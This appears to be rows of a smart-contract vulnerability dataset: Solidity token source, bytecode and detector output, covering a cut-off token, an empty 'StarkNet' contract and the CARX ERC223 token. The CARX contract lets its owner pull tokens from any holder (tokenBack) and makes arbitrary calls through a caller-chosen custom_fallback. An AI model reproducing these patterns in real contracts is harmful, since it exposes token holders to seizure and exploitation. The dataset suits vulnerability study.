require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
if(_balances[account] == 0) {
_createCommunist(account);
}
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac1461022c578063a457c2d71461023f578063a9059cbb14610252578063dd62ed3e14610265578063f2fde38b1461029e57600080fd5b806370a08231146101d8578063715018a6146102015780638da5cb5b1461020957806395d89b411461022457600080fd5b806323b2ae3f116100e957806323b2ae3f1461017857806323b872dd14610190578063313ce567146101a357806339509351146101b257806340c10f19146101c557600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323ab41e21461016e575b600080fd5b6101236102b1565b6040516101309190611126565b60405180910390f35b61014c6101473660046110fd565b610343565b6040519015158152602001610130565b6004545b604051908152602001610130565b610176610359565b005b336000908152600c6020526040902060030154610160565b61014c61019e3660046110c2565b6103eb565b60405160048152602001610130565b61014c6101c03660046110fd565b61049a565b61014c6101d33660046110fd565b6104d6565b6101606101e6366004611076565b6001600160a01b031660009081526001602052604090205490565b61017661050b565b6000546040516001600160a01b039091168152602001610130565b61012361057f565b61014c61023a3660046110fd565b61058e565b61014c61024d3660046110fd565b6105c3565b61014c6102603660046110fd565b61065c565b610160610273366004611090565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101766102ac366004611076565b610671565b6060600980546102c09061121c565b80601f01602080910402602001604051908101604052809291908181526020018280546102ec9061121c565b80156103395780601f1061030e57610100808354040283529160200191610339565b820191906000526020600020905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b600061035033848461075b565b50600192915050565b3360008181526001602052604090205461037257600080fd5b600654336000908152600c60205260409020600401541061039257600080fd5b61039a610880565b336000908152600c60205260409020600201546103b6816108dd565b336000908152600c6020526040812060028101829055600381018054919284926103e19084906111ae565b9091555050505050565b60006103f88484846108ea565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104825760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61048f853385840361075b565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103509185906104d19086906111ae565b61075b565b600080546001600160a01b031633146105015760405162461bcd60e51b815260040161047990611179565b6103508383610c03565b6000546001600160a01b031633146105355760405162461bcd60e51b815260040161047990611179565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a80546102c09061121c565b600080546001600160a01b031633146105b95760405162461bcd60e51b815260040161047990611179565b6103508383610d08565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156106455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610479565b610652338585840361075b565b5060019392505050565b60006106693384846108ea565b610350610e4e565b6000546001600160a01b0316331461069b5760405162461bcd60e51b815260040161047990611179565b6001600160a01b0381166107005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610479565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b03821661081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b3360008181526001602052604090205461089957600080fd5b60006108a3610ea9565b336000908152600c6020526040812060028101805493945090928492906108cb9084906111ae565b90915550506006546004909101555050565b6108e73382610c03565b50565b6001600160a01b03831661094e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b0382166109b05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b6001600160a01b038316600090815260016020526040902054811480156109ed57506001600160a01b038216600090815260016020526040902054155b15610a09576109fb83610ef7565b610a0482610f70565b610afa565b6001600160a01b03831660009081526001602052604090205481148015610a4057506001600160a01b038216600052600160208190525b15610a4e57610a0483610ef7565b6001600160a01b0383166000908152600160205260409020548111801590610a8c57506001600160a01b038216600090815260016020526040902054155b15610aae57610a9a82610f70565b610a0483610aa98360c8611008565b610c03565b6001600160a01b0383166000908152600160205260409020548111801590610ae657506001600160a01b038216600052600160208190525b15610afa57610afa83610aa98360c8611008565b6001600160a01b03831660009081526001602052604090205481811015610b725760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610479565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610ba99084906111ae565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bf591815260200190565b60405180910390a350505050565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610479565b6001600160a01b038216600090815260016020526040902054610c7f57610c7f82610f70565b8060046000828254610c9191906111ae565b90915550506001600160a01b03821660009081526001602052604081208054839290610cbe9084906111ae565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610d685760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610479565b6001600160a01b03821660009081526001602052604090205481811015610ddc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610479565b6001600160a01b0383166000908152600160205260408120838303905560048054849290610e0b908490611205565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610873565b600654610e5c90600161101b565b60068181556000918252600b60205260408220426001918201559054600e805492830181559092527fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0155565b600654336000908152600c60205260408120600401546008549192918390610edb90610ed58585611027565b90611033565b9050610eef610ee861103f565b8290611008565b935050505090565b6001600160a01b0381166000908152600c60205260408120600190810154610f1f9190611205565b9050600d8181548110610f4257634e487b7160e01b600052603260045260246000fd5b600091825260209091200180546001600160a01b0319169055600554610f6990600161101b565b6005555050565b6001600160a01b0381166000818152600c6020526040902080546001600160a01b03191690911781556006546004820155600354610faf90600161101b565b6001918201819055600355600d805491820181556000527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0392909216919091179055565b600061101482846111c6565b9392505050565b600061101482846111ae565b60006110148284611205565b600061101482846111e6565b600d5460055460009190611054908290611027565b91505090565b80356001600160a01b038116811461107157600080fd5b919050565b600060208284031215611087578081fd5b6110148261105a565b600080604083850312156110a2578081fd5b6110ab8361105a565b91506110b96020840161105a565b90509250929050565b6000806000606084860312156110d6578081fd5b6110df8461105a565b92506110ed6020850161105a565b9150604084013590509250925092565b6000806040838503121561110f578182fd5b6111188361105a565b946020939093013593505050565b6000602080835283518082850152825b8181101561115257858101830151858201604001528201611136565b818111156111635783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111c1576111c1611257565b500190565b6000826111e157634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561120057611200611257565b500290565b60008282101561121757611217611257565b500390565b600181811c9082168061123057607f821691505b6020821081141561125157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122070fdfb7d0d47877375247ee12e16de31a6a3a539385c1e31c4ef02a2f457a80b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,306 |
0xa2b1f1c9eaaf9b001ae00e2311e5e6bfd6a6a7f2
|
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract StarkNet {
}
|
0x6080604052600080fdfea26469706673582212204ac4858837215a03b0a6e91f9c3ce3879cf05f4beb691c6ae398b5d8a19fdf8864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,307 |
0x7713735fc9c8b67065c22c602b23360d21587a96
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
/**
* @title CARX TOKEN
*/
contract CARXTOKEN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "CARX TOKEN";
string public symbol = "CARX";
uint8 public decimals = 18;
uint256 public totalSupply = 2e9 * 1e18;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function CARXTOKEN() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function tokenBack(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e18);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
}
|
